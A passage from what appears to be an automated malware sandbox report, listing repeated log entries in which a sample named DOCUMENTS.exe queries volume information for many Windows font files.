Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCU